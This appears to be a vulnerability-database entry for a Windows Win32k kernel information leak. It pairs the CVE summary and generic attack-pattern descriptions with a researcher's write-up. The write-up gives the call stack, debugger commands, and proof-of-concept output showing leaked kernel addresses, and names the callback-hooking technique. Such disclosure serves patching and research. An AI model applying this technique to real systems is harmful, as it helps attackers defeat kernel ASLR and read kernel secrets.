NONE Summary
Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allow an authenticated attacker to run a specially crafted application when the Windows kernel improperly initializes objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8470, CVE-2017-8471, CVE-2017-8472, CVE-2017-8473, CVE-2017-8477, and CVE-2017-8484.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Subverting Environment Variable Values The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
- Footprinting An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
- Exploiting Trust in Client (aka Make the Client Invisible) An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
- Browser Fingerprinting An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
- Session Credential Falsification through Prediction This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

| description | We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other platforms untested) indirectly through the win32k!NtGdiOpenDCW system call. The analysis shown below was performed on Windows 7 32-bit. The full stack trace of where uninitialized kernel stack data is leaked to user-mode is as follows: ``` --- cut --- 9706b8b4 82ab667d nt!memcpy+0x35 9706b910 92bf8220 nt!KeUserModeCallback+0xc6 9706b954 92c01d1f win32k!pppUserModeCallback+0x23 9706b970 92c096c8 win32k!ClientPrinterThunk+0x41 9706ba24 92b0c722 win32k!UMPDDrvEnablePDEV+0x18c 9706bc20 92b74bc4 win32k!PDEVOBJ::PDEVOBJ+0x1c5 9706bca4 92b6b2a6 win32k!hdcOpenDCW+0x18c 9706bd0c 82876db6 win32k!NtGdiOpenDCW+0x112 9706bd0c 77486c74 nt!KiSystemServicePostCall 0022fa18 772e9978 ntdll!KiFastSystemCallRet 0022fa1c 772e9a0e GDI32!NtGdiOpenDCW+0xc 0022fca8 772e9bab GDI32!hdcCreateDCW+0x1b1 0022fcf4 772e9c5d GDI32!bCreateDCA+0xe4 0022fd10 00405114 GDI32!CreateICA+0x18 --- cut --- ``` At the time of this callstack, the win32k!ClientPrinterThunk function invokes a user-mode callback #93 (corresponding to user32!__ClientPrinterThunk), and passes in an input structure of 0x6C bytes. We have found that 8 bytes at offset 0x4C and 12 bytes at offset 0x60 of that structure are uninitialized. We have tracked that this structure originates from the stack frame of the win32k!UMPDDrvEnablePDEV function, and is passed down to win32k!UMPDOBJ::Thunk in the 2nd argument. The uninitialized data can be obtained by a user-mode application by hooking the appropriate entry in the user32.dll callback dispatch table, and reading data from a pointer provided through the handler's parameter. This technique is illustrated by the attached proof-of-concept code (again, specific to Windows 7 32-bit). If we attach a WinDbg debugger to the tested system, we can set a breakpoint at the beginning of win32k!UMPDDrvEnablePDEV, manually initialize the overall structure copied to user-mode with a marker 0x41 ('A') byte after the stack frame allocation instructions, and then observe some of these bytes in the output of the PoC program. This indicates they were not initialized anywhere during execution between win32k!UMPDDrvEnablePDEV and nt!KeUserModeCallback(), and copied in the leftover form to user-mode. See below: ``` --- cut --- 1: kd> ba e 1 win32k!UMPDDrvEnablePDEV 1: kd> g Breakpoint 0 hit win32k!UMPDDrvEnablePDEV: 9629957c 6a7c push 7Ch 0: kd> p win32k!UMPDDrvEnablePDEV+0x2: 9629957e 68d0633796 push offset win32k!__safe_se_handler_table+0x7c98 (963763d0) 0: kd> p win32k!UMPDDrvEnablePDEV+0x7: 96299583 e828b4f8ff call win32k!_SEH_prolog4 (962249b0) 0: kd> p win32k!UMPDDrvEnablePDEV+0xc: 96299588 8d4de4 lea ecx,[ebp-1Ch] 0: kd> f ebp-8c ebp-8c+6c-1 41 Filled 0x6c bytes 0: kd> g --- cut --- ``` After executing the above commands, the program should print output similar to the following: ``` --- cut --- [...] 00000000: 6c 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 l............... 00000010: 1c 03 11 59 d8 e2 31 00 74 02 c6 01 a8 06 c6 01 ...Y..1.t....... 00000020: 06 00 00 00 00 00 c3 01 30 01 00 00 18 00 c3 01 ........0....... 00000030: 2c 01 00 00 48 01 c3 01 30 21 a0 ff e4 06 c6 01 ,...H...0!...... 00000040: 84 9b 31 00 00 00 00 00 00 00 00 00 41 41 41 41 ..1.........AAAA 00000050: 41 41 41 41 74 02 c3 01 74 02 c4 01 74 02 c5 01 AAAAt...t...t... 00000060: 41 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ??

[...] --- cut --- ``` It's clearly visible that bytes at offsets 0x4c-0x53 and 0x60-0x6b are equal to the data we set in the prologue of win32k!UMPDDrvEnablePDEV, which illustrates how uninitialized stack data is leaked to user-mode. If we skip the manual initialization of bytes in the stack frame with a kernel debugger, an example output of the program is as follows: ``` --- cut --- 00000000: 6c 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 l............... 00000010: 75 03 11 55 d8 e2 25 00 74 02 96 01 a8 06 96 01 u..U..%.t....... 00000020: 06 00 00 00 00 00 93 01 30 01 00 00 18 00 93 01 ........0....... 00000030: 2c 01 00 00 48 01 93 01 30 21 a0 ff e4 06 96 01 ,...H...0!...... 00000040: 84 9b 25 00 00 00 00 00 00 00 00 00[96 6f 89 82]..%..........o.. 00000050:[28 65 9d 84]74 02 93 01 74 02 94 01 74 02 95 01 (e..t...t...t... 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................ --- cut --- ``` In the above listing, two kernel-mode addresses are leaked at offsets 0x4c and 0x50: an address of the ntoskrnl.exe image, and an address of a non-paged pool allocation: ``` --- cut --- 0: kd> !address 849d6528 [...] Usage: Base Address: 84800000 End Address: 84a00000 Region Size: 00200000 VA Type: NonPagedPool VAD Address: 0x8800000067317cf2 Commit Charge: 0x1000165643ec0 Protection: 0x8800000067317cf0 [] Memory Usage: Private No Change: yes More info: !vad 0x84800000 0: kd> !address 82896f96 Usage: Module Base Address: 8281c000 End Address: 82c38000 Region Size: 0041c000 VA Type: BootLoaded Module name: ntoskrnl.exe Module path: [\SystemRoot\system32\ntkrnlpa.exe] --- cut --- ``` Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
